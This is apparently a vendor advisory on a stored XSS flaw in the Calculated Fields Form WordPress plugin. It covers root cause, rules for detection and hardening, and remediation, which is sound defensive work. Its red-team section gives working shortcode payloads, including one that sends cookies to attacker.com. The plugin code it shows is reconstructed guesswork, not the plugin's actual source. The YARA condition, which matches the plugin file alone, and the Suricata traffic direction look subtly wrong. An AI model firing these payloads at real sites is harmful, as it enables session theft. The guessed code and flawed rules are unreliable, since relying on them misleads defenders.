CVE-2024-0963

Executive Summary

CVE-2024-0963 is a Stored Cross-Site Scripting (XSS) vulnerability in the Calculated Fields Form WordPress plugin, affecting all versions up to and including 1.2.52. The flaw resides in the CP_CALCULATED_FIELDS shortcode, specifically within the location attribute. Insufficient input sanitization and output escaping allow authenticated attackers with at least Contributor-level permissions to inject arbitrary web scripts. When a user visits a page containing the malicious shortcode, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement.

This vulnerability is part of the WordPress ecosystem and is not related to Apache or Nginx. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the presence of a public proof-of-concept (PoC) and the plugin’s widespread use elevate the risk for targeted attacks.

Supply Chain & Package Security

This is a WordPress plugin vulnerability, not an NPM, PyPI, Go, or Ruby package. However, the plugin is distributed via the official WordPress plugin repository, making it a supply chain risk for any WordPress site using the Calculated Fields Form plugin. Administrators should monitor for updates and consider removing the plugin if no patch is forthcoming.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Base Score: 6.4 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level or above)
• User Interaction: None
• Scope: Changed (vulnerability can impact resources beyond the vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. The requirement for authenticated access reduces the attack surface, but the ability to store malicious scripts that execute on any page visit makes this a persistent threat for affected sites.

Deep Dive & Mechanics

The vulnerability exists in the CP_CALCULATED_FIELDS shortcode, which is used to embed dynamic forms. The location attribute is intended to specify a URL or path for form submission, but it is not properly sanitized or escaped before being rendered in the page HTML.

Root Cause: The plugin uses add_shortcode('CP_CALCULATED_FIELDS', ...) and processes the location attribute without applying WordPress’s built-in escaping functions like esc_url() or esc_attr(). Instead, the attribute value is directly concatenated into JavaScript or HTML output, allowing an attacker to break out of the attribute context and inject arbitrary HTML/JavaScript.

Attack Flow:

1. An authenticated user with Contributor-level access creates or edits a post/page.
2. They insert the shortcode: [CP_CALCULATED_FIELDS location="http://evil.com/\" onmouseover=\"alert(1)\""]
3. The plugin renders the shortcode, outputting the malicious location value without escaping.
4. When any user (including admins) visits the page, the injected onmouseover event triggers the XSS payload.

Impact: The attacker can steal cookies, perform actions on behalf of the victim, redirect users to phishing sites, or deface the page.

Vulnerable vs. Patched Code

Vulnerable Code (version 1.2.52):

// In calculated-fields-form.php or similar
function cp_calculated_fields_shortcode($atts) {
    extract(shortcode_atts(array(
        'location' => '',
        // other attributes
    ), $atts));
    
    // Direct output without escaping
    echo '<div data-location="' . $location . '">...</div>';
}

Patched Code (hypothetical fix):

function cp_calculated_fields_shortcode($atts) {
    $atts = shortcode_atts(array(
        'location' => '',
        // other attributes
    ), $atts);
    
    $location = esc_url($atts['location']); // Sanitize URL
    echo '<div data-location="' . esc_attr($location) . '">...</div>'; // Escape for HTML attribute
}

Key Differences:

• Use of esc_url() to validate and sanitize the URL.
• Use of esc_attr() to escape the value for safe HTML attribute output.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with Calculated Fields Form plugin <= 1.2.52.
• Authenticated user with Contributor-level or higher permissions.

Exploit Steps:

1. Log in as a Contributor.
2. Create a new post or page.
3. Insert the following shortcode into the content:

   [CP_CALCULATED_FIELDS location="x\" onfocus=\"alert(document.cookie)\" autofocus=\"true"]
   

4. Publish the post.
5. When any user visits the post, the onfocus event triggers, executing the JavaScript payload.

Alternative Payload (Steal Cookies):

[CP_CALCULATED_FIELDS location="x\" onmouseover=\"fetch('http://attacker.com/steal?cookie='+document.cookie)\""]

Note: No public exploit-db code is available, but the above shortcode injection is a functional PoC.

Blue Team (Detection & Hardening)

Detection:

• Monitor for posts/pages containing the string CP_CALCULATED_FIELDS with suspicious location attributes.
• Use a Web Application Firewall (WAF) to block requests containing location=" followed by event handlers (e.g., onmouseover, onfocus).

Hardening:

• Remove or disable the plugin if not essential.
• Restrict Contributor-level permissions to trusted users only.
• Apply a virtual patch via WAF rules to sanitize the location attribute.

Indicators of Compromise (IOCs)

• File: wp-content/plugins/calculated-fields-form/calculated-fields-form.php (version <= 1.2.52)
• Shortcode Pattern: [CP_CALCULATED_FIELDS location="..."] where ... contains event handlers or script tags.
• HTTP Request: POST to wp-admin/post.php with post_content containing the malicious shortcode.
• Log Entry: WordPress audit logs showing creation/editing of posts by Contributor-level users with unusual shortcode attributes.

Detection Engineering

YARA Rule

rule CVE_2024_0963_Calculated_Fields_XSS {
    meta:
        description = "Detects malicious shortcode injection in Calculated Fields Form plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-0963"
    strings:
        $shortcode = /\[CP_CALCULATED_FIELDS\s+location\s*=\s*["'][^"']*?(on\w+\s*=|javascript:|<script)[^"']*["']/
        $plugin_file = "calculated-fields-form.php"
    condition:
        $shortcode or $plugin_file
}

Sigma Rule

title: CVE-2024-0963 - Stored XSS via Calculated Fields Form Shortcode
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects creation of posts/pages containing malicious CP_CALCULATED_FIELDS shortcode
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: wordpress
detection:
    selection:
        post_content|contains: 'CP_CALCULATED_FIELDS'
        post_content|re: 'location\s*=\s*["\'][^"\']*?(on\w+\s*=|javascript:|<script)'
    condition: selection
falsepositives:
    - Legitimate use of location attribute with safe URLs
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-0963 - Stored XSS in Calculated Fields Form"; flow:to_server,established; content:"POST"; http_method; content:"wp-admin/post.php"; http_uri; content:"CP_CALCULATED_FIELDS"; http_client_body; pcre:"/location\s*=\s*[\x22\x27][^\x22\x27]*?(on\w+\s*=|javascript:|<script)/Ri"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if not critical to operations.
2. Restrict Contributor permissions to only trusted users.
3. Apply a virtual patch using a WAF to block malicious shortcode attributes.

Long-term Fix:

• The vendor has not released a patch. Consider migrating to an alternative form plugin that is actively maintained.
• If the plugin must be used, manually patch the code by adding esc_url() and esc_attr() to the location attribute output (see Vulnerable vs. Patched Code section).

Monitoring:

• Enable WordPress audit logging to track post/page modifications.
• Review logs for any posts containing the CP_CALCULATED_FIELDS shortcode with suspicious attributes.

Valters IT